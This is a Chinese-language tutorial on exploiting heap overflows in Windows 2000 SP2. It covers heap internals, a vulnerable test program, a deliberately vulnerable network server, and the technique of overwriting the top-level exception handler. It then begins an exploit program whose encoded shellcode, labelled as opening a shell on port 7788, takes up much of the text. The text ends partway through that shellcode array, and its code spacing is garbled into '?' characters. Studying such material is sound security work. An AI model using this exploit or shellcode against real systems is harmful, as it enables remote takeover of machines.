Windows下的HEAP溢出及其利用
作者: isno
一、概述
前一段時間ASP的溢出鬧的沸沸揚揚,這個漏洞并不是普通的堆棧溢出,而是發生在HEAP中的溢出,這使大家重新認識到了Windows下的HEAP溢出的可利用性。其實WIN下的HEAP溢出比Linux和SOLARIS下面的還要簡單得多,大家肯定已經都搞明白了,我來做是一個總結,以免自己將來忘了。由于缺乏這方面的資料及源代碼,所有的分析結果都來自于反匯編和調試的分析,所以錯誤之處在所難免,敬請各位指正。
以下所有程序的測試環境為:
中文版Windows 2000 + SP2
VC++ 6.0
二、Windows的HEAP管理機制簡述
同LINUX一樣,Windows的HEAP區是程序動態分配一塊內存區域。程序員一般調用C函數malloc/free或者C++的new/delete或者WIN32 API函數HeapAlloc/HeapFree來動態分配內存,這些函數最終都將調用ntdll.dll中的RtlAllocateHeap/RtlFreeHeap來進行實際的內存分配工作,所以我們只需要分析RtlAllocateHeap/RtlFreeHeap就行了。
對于一個進程來說可以有多個HEAP區,每一個HEAP的首地址以句柄來表示:hHeap,這也就是RtlAllocateHeap的第一個參數。每個HEAP區的整體結構如下:
+-------------------------------------------------------------------+
| HEAP總體管理結構區 |??? 雙指針區??? |??????? 用戶分配內存區?????? |
+-------------------------------------------------------------------+
^??????????????????? ^
|_hHeap????????????? |_hHeap+0x178
heap總體管理結構區存放著一些用于HEAP總體管理的結構,這不是我們所關心的。雙指針區存放著一些成對出現的指針,用于定位分配內存以及釋放內存的位置,這可能是某種樹結構,我還沒完全搞清楚。用戶分配內存區是用戶動態分配內存時實際用到區域,也這是HEAP的主體。
當我們調用RtlAllocateHeap(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes)來分配內存時將進行以下操作:
對參數進行檢查,如果dwBytes過大或小于0都按照出錯處理,根據dwFlags來設置一些管理結構;
檢查是否為DEBUG程序,對于DEBUG的程序與實際運行的程序每個內存塊之間的結構是不同的,所以我們下面說到的都是以RELEASE版編譯的實際運行的程序(不是在MSDEV中調試的程序);
根據要分配的內存的大小(dwBytes)決定不同的內存分配算法,我們只分析小于1024 bytes的情況;
從雙指針區找到用戶內存區的末尾位置,如果有足夠的空間分配所需的內存,就在末尾+dwBytes+8的位置放置一對指針來指向雙指針區的指向用戶內存區末尾位置的地方;
在后面同時設置雙指針區的指向用戶內存區末尾位置的指針指向進行完分配之后的用戶內存區末尾位置。這么說可能有點繞,不過這跟HEAP溢出沒有太大的關系,所以我們就不細究了。
兩塊連續分配的內存塊之間并不是緊挨著的,而是有8字節的管理結構,最末尾的一塊內存后面還另外多了8字節的指針指向雙指針區,就是上面提到過的。
假設有以下程序:
buf1 = HeapAlloc(hHeap, 0, 16);
buf2 = HeapAlloc(hHeap, 0, 16);
連續分配了兩塊16字節內存,實際在內存中(用戶分配區)的情況是這樣的:
第一次分配后:
+-----------------------------------------------+
|?????? buf1???????? |?? 8 byte?? |4 byte|4 byte|
+-----------------------------------------------+
|????? 用戶內存????? |? 管理結構? |?? 兩個指針? |
第二次分配后:
+---------------------------------------------------------------------------------+
|?????? buf1???????? |?? 8 byte?? |?????? buf2???????? |?? 8 byte?? |4 byte|4 byte|
+---------------------------------------------------------------------------------+
|????? 用戶內存????? |? 管理結構? |????? 用戶內存????? |? 管理結構? |?? 兩個指針? |
在第二次分配內存的時候會利用第一塊內存管理結構后面那兩個指針進行一些操作,其中會有一次寫內存的操作:
77FCB397???????????????? mov???? [ecx], eax
77FCB399???????????????? mov???? [eax+4], ecx
這時的eax和ecx分別指向:
+-----------------------------------------------+
|?????? buf1???????? |?? 8 byte?? |4 byte|4 byte|
+---------------------------------^------^------+
|????? 用戶內存????? |? 管理結構? |_eax? |_ecx? |
寫到這里大家一定就明白HEAP溢出如何利用了吧?假設我們分配完buf1之后向其中拷貝內容,拷貝的內容大小超過buf1的大小,即16字節,就會發生溢出,當如果我們覆蓋掉了那兩個4字節的指針,而下一次分配buf2之前又沒有把buf1釋放掉的話,那么就會把一個4字節的內容寫入一個地址當中,而這個內容和地址都是我們能夠控制的,這樣我們就可以控制函數的流程轉向我們的shellcode了。
三、HEAP溢出的利用
上面就是這種溢出可以被利用的基本原理,下面我們就來看看具體是怎么回事。有這么一個程序:
/*
*? Windows Heap overrun test - vul.c
*???????????? by isno
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[])
{
? HANDLE hHeap;
? char *buf1, *buf2;
? char mybuf[] = "AAAAAAAAAAAAAAAABBBBBBBBXXXXYYYY";
? //在進程的默認HEAP當中分配內存
? hHeap=GetProcessHeap();
? //先分配一塊16字節內存buf1
? buf1 = HeapAlloc(hHeap, 0, 16);
?
? //把32字節的mybuf拷貝到16字節的buf1里面,發生溢出!
? strcpy(buf1,mybuf);
? //再次分配一塊16字節的內存buf2,此時buf1還沒有被釋放
? //由于buf1溢出了,所以當寫內存的時候就會出錯
? buf2 = HeapAlloc(hHeap, 0, 16);
? //釋放這兩塊內存
? HeapFree(hHeap, 0, buf1);
? HeapFree(hHeap, 0, buf2);
? return 0;
}
我們把這個程序用VC按照RELEASE方式編譯,并在命令行下運行它(不要在MSDEV中調試運行)。如果你沒有裝SOFTICE的話就會彈出一個錯誤對話框顯示:"0x77fcb397"指令引用的"0x59595959"內存。該內存不能為"written"。
可以注意到0x59595959就是YYYY,這就證明了程序在向YYYY指向的內存地址進行寫操作,寫的內容是什么呢?如果你啟動了SOFTICE的話,運行這個程序的時候SOFTICE就會自動跳出來,并停在下面的指令處:
77FCB397???????????????? mov???? [ecx], eax
此時eax=0x58585858,ecx=0x59595959,因為0x59595959這個地址沒有映射內存頁面,所以執行這個指令的時候出錯了。
0x58585858和0x59595959正是我們覆蓋buf1所用的XXXX和YYYY,實際進行的內存分配操作就是上面我們說過的那樣:
第一次分配后:
+-----------------------------------------------+
|?????? buf1???????? |?? 8 byte?? |4 byte|4 byte|
+-----------------------------------------------+
|????? 用戶內存????? |? 管理結構? |?? 兩個指針? |
溢出后:
+-----------------------------------------------+
|?????? buf1???????? |?? 8 byte?? |4 byte|4 byte|
+-----------------------------------------------+
|? AAAAAAAAAAAAAAAA? |? BBBBBBBB? | XXXX | YYYY |
這樣當第二次分配buf2的時候就會把XXXX寫入到YYYY所指向的地址當中去,由于XXXX和YYYY都是我們所能夠控制的,所以我們就可以把shellcode地址寫入到堆棧中保存的函數返回地址去,這樣當函數返回的時候就會跳到我們的shellcode去執行。
當然這是比較理想的情況,實際上利用這個漏洞還有很多問題,下面我們以一個實際的例子來看看具體利用這個漏洞的情況。
四、實戰
由于Windows下的溢出對于本地利用來說沒有多大意義,所以我們一個存在HEAP溢出漏洞的網絡程序為例:
/*
? win_heap_vul.c
? Windows下存在HEAP溢出漏洞的服務端程序
*/
#define PORT 1500
#define BUFFLEN 32 //分配內存的大小
#define COPYLEN 64 //實際拷貝的大小
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
int main()
{
? WSADATA??????? wsd;
? SOCKET??????? sListen, sClient;
? struct??????? sockaddr_in local, client;
? int??????????? iAddrSize;
? HANDLE??????? hHeap;
???
? char??????? *buf1, *buf2;
? char??????? buff[4096];
???
? if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
? {
??? printf("Failed to load Winsock!\n");
??? return 1;
? }
? //建立一個socket監聽1500端口
? sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
? local.sin_addr.s_addr = htonl(INADDR_ANY);
? local.sin_family = AF_INET;
? local.sin_port = htons(PORT);
? if (bind(sListen, (struct sockaddr *)&local, sizeof(local)) == SOCKET_ERROR)
? {
??? printf("bind() failed: %d\n", WSAGetLastError());
??? return 1;
? }
? listen(sListen, 8);
? iAddrSize = sizeof(client);
? sClient = accept(sListen, (struct sockaddr *)&client, &iAddrSize);???????
? if (sClient == INVALID_SOCKET)
? {???????
??? printf("accept() failed: %d\n", WSAGetLastError());
??? return 1;
? }
? printf("connect form: %s:%d\n", inet_ntoa(client.sin_addr), ntohs(client.sin_port));
? //我們自己建立一個HEAP,以免破壞掉進程默認HEAP以后shellcode無法正常運行
? hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);
? //動態分配一塊BUFFLEN大小的(32 bytes)的內存buf1
? buf1 = HeapAlloc(hHeap, 0, BUFFLEN);
? recv(sClient, buff, 4096, 0);
? //注意:這里溢出的不是buff,而是buf1,
? //buff是在棧中開辟的緩沖區,它的大小是4096,上面recv的也是4096,所以不會溢出
? printf("recv1: %s\n", buff);
? //將從客戶端接受到的內容(即buff)拷貝到buf1中
? //如果接受到的內容大于32字節將發生溢出
? //這里錯誤的使用了COPYLEN(64 bytes),因此造成溢出
? memcpy(buf1, buff, COPYLEN);
? //如果覆蓋到HEAP中的管理結構,那么當再次動態分配內存時將可能被利用
? buf2 = HeapAlloc(hHeap, 0, BUFFLEN);
? recv(sClient, buff, 4096, 0);
? printf("recv2: %s\n", buf2);
? HeapFree(hHeap, 0, buf1);
? HeapFree(hHeap, 0, buf2);
? closesocket(sListen);
? WSACleanup();
? return 0;
}
整個程序很簡單,監聽在1500端口,先分配了32字節的buf1,并把客戶端發送過來的內容的前64字節拷貝到buf1里,這里是由于錯誤的使用了宏而發生的溢出(應該用BUFFLEN,但用了COPYLEN),這種情況在實際中也是很容易發生的。這樣當再分配buf2的時候就會有寫內存的操作,使得我們可以利用這個漏洞。
現在我們就可以寫個攻擊程序來溢出它,并且控制改寫任意4字節的內存。那么到底改寫什么地方比較合適呢?我想來想去有4種地方可以改寫,用來控制去執行我們的shellcode:
1.堆棧中保存的函數返回地址
2.堆棧中保存的的異常處理指針
3.線程默認異常處理指針(頂層異常處理指針)
4.線程環境塊(TEB)
1和2都是保存在堆棧中的地址,因此在不同的系統中可能是不一樣的,如果改寫這兩個地址的話雖然也可能成功,但是無法保證程序的通用性,從實際攻擊的成功率的角度考慮,就不能用這兩種地址。
3是線程默認異常處理指針(即頂層異常處理指針),它在同一版本的操作系統中是一個固定的值。這里稍微介紹一下Windows結構化異常處理的基本原理。Windows的結構化異常處理(SEH)是一種對程序異常的處理機制,它是按照鏈式層狀結構進行處理的。當線程中發生異常時,操作系統首先找到線程環境塊TEB指向的第一個內存單元(即fs:[0])中所包含的地址,這個地址指向的地方存放著上一層異常鏈指針,而在這個地址+4的地方存放著最低層異常處理指針,操作系統就自動跳到這個指針所指向的函數去執行來進行異常處理。當這個函數無法對異常進行處理的時候,再根據上一層的異常鏈指針來尋找到上一層的異常處理指針來處理,如果所有的異常處理函數都無法處理這個異常,那么系統就使用默認異常處理指針(即頂層異常處理指針)來處理異常情況,就是這個函數:
LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo);
這個函數負責顯示一個錯誤對話框,來指出出錯的原因,這就是我們一般的程序出錯的時候顯示錯誤對話框的原因。
我們可以通過SetUnhandledExceptionFilter這個函數來設置默認異常處理指針,把SetUnhandledExceptionFilter反匯編一下可以發現它非常簡單:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
? LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
)
.text:77E6BE11 SetUnhandledExceptionFilter proc near
.text:77E6BE11???????????????? mov???? ecx, [esp+lpTopLevelExceptionFilter]
.text:77E6BE15???????????????? mov???? eax, dword_77EBF44C
.text:77E6BE1A???????????????? mov???? dword_77EBF44C, ecx
.text:77E6BE20???????????????? retn??? 4
.text:77E6BE20 SetUnhandledExceptionFilter endp
它所做的就只是把參數即用戶指定的默認異常處理指針放入0x77ebf44c這個地址所指向的內存單元之中。然后UnhandledExceptionFilter在進行默認異常處理的時候就從0x77ebf44c中取出這個指針,然后跳到那里去執行。因此我們只要改寫0x77ebf44c這個地址中的內容就可以改變默認異常處理的函數了,這個0x77ebf44c在同一版本(包括ServicePack版本)的系統當中應該是固定的(但是在一些系統中即使系統和SP的版本都相同,這個地址也不相同,不知道是為什么,可能是某些補丁修改了這個地址),在中文版Windows+SP2中就是0x77ebf44c,在別的版本中可能不一樣,我寫了個小程序來獲取這個地址:
#include <stdio.h>
#include <windows.h>
void main()
{
??? unsigned int sehaddr;
??? int *un;
??? HMODULE hk = LoadLibrary("KERNEL32.dll");
??? un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter");
??? _asm{
??????? mov eax,un
??????? add eax,5
??????? mov ebx,[eax]
??????? mov sehaddr,ebx
??? }
??? printf("the top seh: 0x%x\r\n",sehaddr);
??? _getch();
??? return;
}
運行這個程序就可以獲得你當前系統中存放默認異常處理的地址了。再回到我們HEAP溢出的問題上,我們可以通過改寫默認異常處理來改變程序的流程,也就是改寫0x77ebf44c這個內存單元的值為shellcode的地址。這是一個比較通用的方法,成功率也比較高。
還有一種方法是改寫TEB即fs:[0]的地方,系統發生異常的時候會從這個地方取出最底層的異常鏈來進行異常處理,我們可以自己構造一個異常處理結構指向我們的shellcode,這樣就可以達到控制程序流程的目的了,這個fs:[0]對于單線程的程序是比較固定的,但是對于多線程的不同線程會有所變化,所以還是不如改寫默認異常處理好,因此我們最后決定改寫默認異常處理的內存單元。
下面就是shellcode存放在哪里的問題了,我覺得這個問題沒有通用的方法,要根據發生溢出的程序的情況而定,如果可以放在一個發生異常時有寄存器能夠指向的地方那就是最完美的情況,這樣就可以用一個系統DLL中有JMP EXX指令的地址來改寫默認異常處理,其中EXX是指向shellcode的寄存器。但是這種情況似乎比較少見,一般shellcode也沒辦法放到這種位置上來,那就只能用shellcode的地址來直接定位,可以在shellcode前面放上大量NOP來提高成功率。對于前面那個漏洞程序,我們就使用shellcode的地址來改寫默認異常處理的方法。
但是這里還有一個小問題,發生寫內存操作的有兩個指令:
77FCB397???????????????? mov???? [ecx], eax
77FCB399???????????????? mov???? [eax+4], ecx
這樣不但會把shellcode地址寫進默認異常處理地址中,也會把默認異常處理地址寫進[shellcode地址+4]的內存單元當中,這樣就把shellcode中要執行的指令給破壞了。要解決這個問題,我們可以用一個jmp 6這樣的指令來代替nop,這樣就能夠跳過后面被破壞的字節。
理論上的問題都解決了,現在就可以寫出攻擊程序來了:
/*
? win_heap_exp.c
? HEAP溢出漏洞的攻擊程序
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
unsigned char shellcode[] =
//打開7788端口的shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05"
"\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff"
"\x21\x46\x2b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30\x9c"
"\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41\x6d"
"\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e\x5d"
"\x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x25\x30\x6f\x30\x42"
"\x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa\xaa\xaa"
"\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e\x5d\x55"
"\x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x42\xad"
"\x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55\x55\xaa"
"\xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa"
"\xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x2b\x6b"
"\xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x2b\x17\x30\x4e\x5d"
"\x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30\x4e\x5d\x55\x55"
"\xaa\xaa\x5a\x15\x21\x3f\x30\x4e\x5d\x55\x55\x99\x6a\xcc\x21\xa8"
"\x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab\xaa\xaa\x21\x27\x30"
"\x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30\x4e\x5d\x55\x55\x99"
"\x63\xcc\x21\xa6\xba\x2b\x53\xfa\xef\xaa\xaa\xa5\x30\x6f\xd3\xab"
"\xaa\xaa\x21\x3f\x30\x4e\x5d\x55\x55\x21\xe8\x96\x21\x27\x30\x4e"
"\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x3f\x30\x4e\x5d\x55\x55\x23\x3f"
"\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6"
"\xa9\x27\x30\x4e\x5d\x55\x55\x23\x27\x36\x5d\x55\x55\x21\x3f\x36"
"\x5d\x55\x55\x2b\x90\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa"
"\x21\x30\x6f\x36\x5d\x55\x55\x2b\xd2\xae\xef\xe6\x99\x98\xa5\x30"
"\x6f\x8a\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d"
"\x55\x55\x21\x3f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55"
"\x55\xa9\xe8\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d"
"\x55\x55\xaa\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b"
"\xab\x23\x27\x32\x5d\x55\x55\x21\x3f\x36\x5d\x55\x55\x29\x68\xae"
"\x23\x3f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27"
"\x32\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x3f\x36"
"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\x96\xab\xed"
"\xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x3f\x36\x5d\x55"
"\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\xd6\xab\xae\xd8\xc5"
"\xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x3f\x32\x5d\x55\x55"
"\xa9\x3f\x32\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21\x30\x6f"
"\x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a\xcc\x21\xae\xa0\x23\x30"
"\x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d\x55\x55\x21\xfb\xba\x21"
"\x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55\x23\x27\x36\x5d\x55\x55"
"\x21\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d"
"\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21"
"\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x3f\x36"
"\x5d\x55\x55\x21\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d"
"\x55\x55\x23\x30\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55"
"\x55\x43\xbc\x54\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce"
"\x30\x49\xaa\xaa\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf"
"\x43\xdf\xae\xaa\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc"
"\x23\x3f\x86\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a"
"\xa8\x23\x30\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23"
"\x27\x36\x5d\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x3f\xaa"
"\xaa\xaa\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x3f\x30"
"\x42\x5d\x55\x55\xf8\x55\x3f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x3f\x30"
"\x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x3f\x36\x5d\x55"
"\x55\x23\x30\x6e\x3f\x1a\x5d\x55\x55\x41\xa5\x21\x30\x6f\x30\x42"
"\x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55\x55\x21\x27"
"\x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde\xa8\x41\xa8"
"\x41\x78\x21\x3f\x30\x42\x5d\x55\x55\x29\x68\xab\x23\x3f\x30\x42"
"\x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0\xac\xc0\xab\xc0\xa8"
"\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f"
"\xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d\x55\x55\xa8\xaa\xcc\x21"
"\x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f\x90\x5d\x55\x55\x6d\x30"
"\x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x36\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55\xaa\xde\xf5\x21\x5e\xc0"
"\xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x3f\xe6\x5d\x55\x55\xf8\x55"
"\x3f\x72\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36"
"\x5d\x55\x55\xcc\x21\x30\x6f\x90\x5d\x55\x55\xcc\xaf\xaa\xab\xcc"
"\x23\x30\x6f\x90\x5d\x55\x55\x21\x27\x90\x5d\x55\x55\x2b\x4b\x55"
"\x55\xaa\xaa\x2b\x53\xaa\xab\xaa\xaa\xd7\xb8\xcc\x21\x3f\x90\x5d"
"\x55\x55\xcc\x29\x68\xab\xcc\x23\x3f\x90\x5d\x55\x55\x41\x32\x21"
"\x5e\xc0\xa0\x21\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x3f\x76\x5d\x55"
"\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63"
"\xa5\x30\x6e\x6c\xa8\xaa\xaa\x21\x5e\x27\x3f\x9e\x5d\x55\x55\xf8"
"\x27\x30\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55"
"\x3f\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2"
"\x5d\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30"
"\x6f\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\xaa\x5d\x55\x55\xf8\x27"
"\x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x3f"
"\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa\x27"
"\x3f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa\x27\x27"
"\xba\x5d\x55\x55\xfb\x55\x3f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa\xaa\xaa\x58"
"\x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa\xcc\x6d\x30"
"\x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x3f\xba\x5d\x55\x55\x23\x3f\x22"
"\x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23\x30\x6f\x26\x5d\x55"
"\x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d\x55\x55\x21\x5e\x27"
"\x3f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa\x5d\x55\x55\xfa\xc0\xaa"
"\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa\x21\x27\x30\x42\x5d\x55"
"\x55\xfb\xc0\xaa\x55\x3f\x16\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x23\x30\x6f\x36\x5d\x55\x55\x21\x5e\xc0\xaa\xc0\xaa\x27\x3f"
"\x9a\x5d\x55\x55\xf8\xc2\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55"
"\x55\xfa\x21\x27\xb2\x5d\x55\x55\xfb\x55\x3f\x6e\x5d\x55\x55\x91"
"\x5e\x3a\xe9\xe1\xe9\xe1\x30\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5"
"\x30\x6e\xdf\xab\xaa\xaa\x21\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a"
"\x5d\x55\x55\xfa\xc2\xaa\xae\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb"
"\x21\x3f\xb2\x5d\x55\x55\xf8\x55\x3f\x6e\x5d\x55\x55\x91\x5e\x3a"
"\xe9\xe1\xe9\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa"
"\xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27"
"\x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2"
"\x5d\x55\x55\xfa\x55\x3f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27"
"\x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2"
"\x5d\x55\x55\xfa\x55\x3f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55"
"\xfb\x21\x3f\xe2\x5d\x55\x55\xf8\x55\x3f\x4e\x5d\x55\x55\x91\x5e"
"\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2\xaa"
"\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d\x55"
"\x55\xfb\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23"
"\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5\xf8\x6d"
"\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f"
"\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x30"
"\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x3f\xa6\x5d\x55\x55\xf8\x55"
"\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\x21\x30"
"\x6f\xe2\x5d\x55\x55\xfa\x55\x3f\x5a\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27\x27\x9a\x5d\x55\x55\xfb"
"\x21\x3f\x9a\x5d\x55\x55\xf8\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21"
"\x27\xa6\x5d\x55\x55\xfb\x55\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x43\xd4\x54\x55\x55\x43\x87\x57\x55\x55\x41\x54\xf2"
"\xfa\x21\x17\x30\x42\x5d\x55\x55\x23\xed\x58\x69\x21\xee\x8e\xa6"
"\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee\x99\x88\xbb\x99\x6a\x69\x41\x46"
"\x42\xb3\x53\x55\x55\xb4\xc6\xe6\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb"
"\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9"
"\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6"
"\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb"
"\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf"
"\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3\xc6\xcf\xaa\xdd\xd9\x98\xf5\x99"
"\x98\x84\xce\xc6\xc6\xaa\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4"
